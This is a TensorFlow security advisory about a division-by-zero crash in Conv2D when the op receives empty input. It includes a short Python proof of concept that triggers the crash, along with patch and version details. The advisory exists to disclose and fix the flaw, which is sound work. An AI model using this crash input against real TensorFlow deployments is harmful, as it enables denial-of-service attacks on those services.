TensorFlow vulnerable to floating point exception in `Conv2D`

Impact

If Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.

import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
   input = np.ones([1, 0, 2, 1])
   filter = np.ones([1, 1, 1, 1])
   strides = ([1, 1, 1, 1])
   padding = "EXPLICIT"
   explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
   data_format = "NHWC"
   res = tf.raw_ops.Conv2D(
       input=input,
       filter=filter,
       strides=strides,
       padding=padding,
        explicit_paddings=explicit_paddings,
       data_format=data_format,
  )

Patches

We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
